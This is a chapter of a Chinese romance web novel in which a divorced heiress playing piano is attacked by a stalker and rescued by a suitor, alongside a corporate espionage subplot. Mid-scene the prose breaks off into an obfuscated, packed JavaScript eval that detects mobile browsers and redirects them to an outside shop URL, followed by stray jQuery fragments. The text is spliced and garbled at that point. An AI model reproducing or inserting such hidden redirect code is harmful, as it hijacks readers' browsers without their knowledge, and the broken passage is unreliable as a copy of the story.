44. 刺痛

作品:《超级蓬蓬裙![先婚后爱]

    按上琴键的瞬间,肌肉记忆就找了回来,开始微微滞涩,回忆也断断续续,逐渐流畅,每一个音符都能精准触动。哪个音她错过几回齐韵就用针扎过她手指几回,练的多了白键上都是血,不能停。


    收尾的时候只说叫她收拾干净,钢琴很贵。


    一场下来情绪也很饱满。


    …


    表演结束的时候,身上都被冷汗浸透了,台下掌声雷动,没人朝她扔东西说她的演奏就像垃圾。


    “弹得很好,还以为你是附近音乐学院的学生。”经理痛快给她结了今天的钱,刚开始雇她只是因为人长得好看有气质,没想到技术竟然也不错。


    就…也不算糟糕。


    披上外套,带着浅淡的微笑坐公交车回家。


    “听说了吗,咱们公司里有商业间谍。”


    “上次那个事就是对手公司搞的,涉事的高层基本都清理的差不多了,轮到底下这些小喽啰了。”


    有一批新人进公司,杨果终于成功融入了集体,此刻正在食堂和新同事一起竖起耳朵听隔壁桌老同事说八卦。


    “今天上午有个人被叫上去谈话,好像是叫什么…李倩?”杨果猛然想起来,不是天天在楼道里打电话说给她什么什么职位的那位吗?


    李倩白着脸进去,死不承认,直到公司拿出据说早就坏掉的摄像头里的监控录像,这才不情愿的开口。


    “对,内部资料是我泄漏的。”联系她的人靠着这份资料精准的找出晏清资金链的弱点,让环保文件最终没通过的脏水也还是他们泼的。


    晏礼看着新鲜出炉的调查报告,打了个电话给路弛,说好久没约网球了有点手痒。“行,那就这周。”路弛答应了。


    兴和与晏清的关系一直很奇特,两家的产业重合度很高,合作占一部分,竞争也有,连带着晏礼和路弛的私交也随着企业关系变化。


    痛快的运动后拿出毛巾擦干,坐在场边喝水。“说实话,兴和当初想拿下丽海湾。”没等人开口,路弛先轻松的提起这个十几亿的项目。“多好的机会,怎么不拿?”他可不记得路弛是那种会手下留情的人。


    “小海说轮玩心眼没人比得过你。”“你前妻也这么说。”刚输了球,趁机补一刀。


    “兴和拿下那块地,你前妻功不可没。”


    “是,她很聪明。”晏礼看着已经变空的矿泉水瓶,再提起她,好像也没有多恨。除了债权之外,环保文件的事跟她半点关系都没有。


    陈纾宁没乘胜追击的理由他猜的出来,20%的可能是心软,毕竟夫妻一场。80%是她了解自己有多卑鄙,想从他身上得到什么就要付出更多的代价。


    迫不及待的切割清楚,宁肯自己吃亏也要走。


    “你知道吗,离婚时她什么都没要。”“多聪明啊,哪怕我写好了新的那份,她都怕里面有什么陷阱。”


    见状,路弛也只好站起来说要不再来一场?抢地确实他家做的不地道,但夫妻感情破裂这事说到底跟路家半点关系没有。


    “我先回去了。”


    被揉皱的空瓶,静静地落在垃圾桶的底部。


    -


    “叫我不打扰还就真的听她的?”好几天了,路凌海还没回H市,在S市的各个夜店醉生梦死,头痛的从大床上醒来,又自己找好了理由。


    “每天都有帅哥接,突然不去了说不定会想我。”接着找理由,鲤鱼打挺从床上起来开始去洗漱。


    胡茬都长出来了看着老了好几岁,得抓紧改变形象。重新她公司门口的时候,开的了辆低调的黑车,太低调了,所以陈纾宁根本没看见。


    今天下班晚,她怕堵车来不及,只好不熟练的扫辆自行车尝试人力骑过去。


    不远,地图上说3.5公里。


    “好…好难。”差不多是她这辈子第三次骑车,过往车接车送的大小姐紧紧握着把手,试图控制,发现骑快了可以,骑慢了不行。


    “靠。”不光是她,路凌海捏着方向盘都要出汗,跟在她后面心脏狂跳,好几次她都没看见车要碰到,还是他疯狂鸣笛提示附近赶紧停车。


    有惊无险地到达。


    还没等他的车停稳,对方已经匆匆跑进了去。他推开餐厅的门,找了个隐蔽的角落随便点了些东西,隔着艺术品摆件能看到她的侧面。


    沉浸的演奏,节奏微微激烈时,金色的发丝落在侧脸,专注认真。“…看来也不全是花瓶。”至少钢琴弹的是真好。


    食不知味,直到音乐结束,路凌海发现整个晚上都耗在陈纾宁周围,连句话都没说。


    “谢谢。”低头鞠躬,优雅的离开舞台。


    “结帐。”直到对方离开餐厅,都没上前打扰,面前的菜吃了个七七八八肚子很撑,他突然也想试试乘坐公共交通。


    *


    有人跟着她。


    意识到这点后,陈纾宁加快了脚步,余光注意周围的动静。S市的小路不少,需要往前再走一阵才能到人群密集的大马路。


    “再跟着我的话就报警了。”她不恐惧,S市的治安不错,恶性犯罪事件很少。


    “陈小姐别害怕。”“是我。”带着黑框眼镜的男人从另一条路的尽头出来,路灯下,她辨认了一阵依旧没想起来。


    事实上,她有点脸盲。


    “那天在餐厅我找你要联系方式,你拒绝了。”脸上的肌肉在抽动,似乎是极力在忍耐,看得出情绪不对。


    “现在可以给我吗?”声线在颤抖。


    “可以。”察言观色,这种时候还是不要拒绝为好,她走过去,问是谁扫谁。


    “臭**,你根本不记得我,现在说也晚了。”没想到男人突然发难,抢过她的手机朝地上一摔,将人用力按在墙上。


    陈纾宁的反应也很快,马上就抬腿朝上踢攻击最薄弱处,对方吃痛手上的力量松开,她趁机挣脱,踉踉跄跄朝前跑。


    “我天天都来听你弹琴,还给你送过花。”“为什么拒绝我!”很快男人就追上来,表情扭曲,和她睡前看的悬疑片解说场景百分百相似。


    眼见快要追上来,陈纾宁也不废话,直接脱鞋朝后扔出去,穿着带跟的鞋会减缓她的速度。


    “…快了。”瞄准的还可以,成功拉开了两人的距离,很努力的朝大马路方向跑,总不能让好姐妹在社会新闻上见到他


    “跑,叫你跑!”那人彻底被激怒,用最快的速度狠狠扑上来,她摔在地上,也不管身上痛不痛反手攻击,直接照着眼睛戳。


    体力悬殊,容不得半点犹豫。


    “呃…”脖子被掐住,也就几秒,又接着扭打在一起,顺便冷静呼救,喊得不是救


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982707|184755||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    命是着火了。不绝望,体力耗尽前能做的还有很多。


    危险面前保持绝对的理智。


    “你干什么!”束缚她的男人被一拳打倒,捂着脸躺在地上,陈纾宁喘着气坐起来,是路凌海,真有缘,救她的人又是这位。


    “怎么了?”


    “哪着火了?”


    少数临街住户打开窗户,嘟囔几句又揉着眼睛回去接着睡。


    “真蠢。”听见熟悉的讽刺,她正要回嘴说有本事他变成女的试试看能不能打得过,突然从背后被抱住,静静地,第二句话迟迟没讲出口。


    “随便勾勾手指就有大把的男人送你回家。”路凌海轻轻蹭上她起了红痕的颈部,刺痛感从她的身上蔓延过来,似是抚摸蔷薇花时不慎被扎到,若隐若现。


    “偏要自己走夜路。”


    他要是今天没有吃多突然决定散步,没有恰好就在,结果…想了下刚才开窗的人,好像也还行,她风险应对能力挺强的。


    “真有人送我回去,你又会说我是白莲花绿茶天天就知道勾引男人。”话都让他说了到底哪句是真的?脑子不清醒天天胡说八道。


    “烦死了。”


    他松开手,难得说点真心话还不领情。


    “人都跑了。”


    “算了,一会儿报警应该能抓到,帮我去捡东西行不行。”鞋和手机全在远处,包里能用得上的全用上了,新生活在招手,可以看出求生欲很强烈。


    钢化膜碎掉了但手机没坏,屏幕右上角有个红点闪烁了两下就消失不见,估计是误触到哪里。


    鞋跟断了。


    “这双鞋我还挺喜欢,没想到以这种方式牺牲。”幽幽的叹气,只能狠心把另一只也掰断才能行走。


    “这种时候,就别在意这些了。”


    路凌海抢过她的手机轻车熟路的对着面部解锁,三两下就将自己从拉黑里放出来。“遇到危险的时候给我打,你知道的,我很闲。”


    “而且力气也不小。”


    捡起已经不能穿的鞋,拎着它们将光着脚的女人轻松抱起来,以为她会大力挣扎特意箍紧了手臂,对方只是微微惊讶。


    “谢谢。”陈纾宁沉默几秒,诚心表达自己的谢意。“万清那次也是,几年前那天晚上也是。”嘴上说的和真正做的,她看的清楚。


    “你打算怎么谢我?”路凌海得寸进尺有一套,脑子里过了很多种她跟在他后面当牛做马还人情的场景。


    她抬起头,目光落在男人的侧脸。完了,他绝对会疯狂提要求,平静的生活要结束了。“要不你还是放我下来吧。”绝望的仰头看天。


    手机震动几下,是晏礼办公室的座机,她忘了拉黑。“能有什么事…”犹豫着。


    “不许接。”看到来电显示路凌海很自己抽不出手来按断,“他找你肯定没好事。”


    “知道了。”合上屏幕。


    …


    “订票,去S市。”远在H市的男人眉头紧锁,他的手机上闪烁着紧急通知,当初陈纾宁被绑架后晏礼特意在人手机上装了定位和紧急联系功能。


    后来离婚,他就没打开过这个功能。


    “可是您明天还有重要的会…”助理看Boss情绪外露,抿着嘴焦躁又纠结,心想估计又是那位前妻姐。


    “都取消。”